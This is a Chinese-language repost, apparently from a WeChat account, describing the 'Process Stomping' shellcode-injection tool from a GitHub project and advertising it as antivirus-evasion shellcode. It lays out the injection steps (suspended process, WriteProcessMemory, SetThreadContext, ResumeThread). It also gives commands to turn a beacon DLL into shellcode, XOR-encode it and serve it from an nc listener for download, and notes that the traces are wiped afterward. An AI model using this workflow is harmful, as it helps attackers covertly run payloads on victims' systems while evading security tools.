ProcessOverwriting 的一种变体,用于在可执行文件的部分上执行 shellcode
Process Stomping 是hasherezade 的 Process Overwriting的变体,它的优点是在目标部分写入 shellcode 有效负载,而不是在托管进程地址空间上写入整个 PE 有效负载。
以下是 ProcessStomping 技术的主要步骤:
-
CreateProcess - 将进程创建标志设置为 CREATE_SUSPENDED (0x00000004) 以挂起进程主线程。
-
WriteProcessMemory - 用于将每个恶意 shellcode 写入目标进程部分。
-
SetThreadContext - 用于将入口点指向它已编写的新代码段。
-
ResumeThread - 不言自明。
作为该技术的一个示例应用,PoC 可以与sRDI一起使用,通过可执行的 RWX 部分加载信标 dll。下图描述了所涉及的步骤。
用法
选择您的目标进程并在 ProcessStomping.cpp 中相应地修改全局变量。
编译 sRDI 项目,确保偏移量足以跳过生成的 sRDI shellcode blob,然后更新 sRDI 工具:
cd sRDI-master
python .libPythonEncodeBlobs.py .
生成您选择的 Reflective-Loaderless dll 有效负载,然后生成 sRDI shellcode blob:
python .libPythonConvertToShellcode.py -b -f "changethedefault" .noRLx86.dll
然后可以使用关键字对 shellcode blob 进行异或并使用简单的套接字下载
python xor.py noRLx86.bin noRLx86_enc.bin Bangarang
连接时传送异或 blob
nc -vv -l -k -p 8000 -w 30 < noRLx86_enc.bin
执行后,sRDI blob 将被擦除,以删除不需要的工件。
项目地址:
https://github.com/naksyn/ProcessStomping
原文始发于微信公众号(TtTeam):免杀 shellcode
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论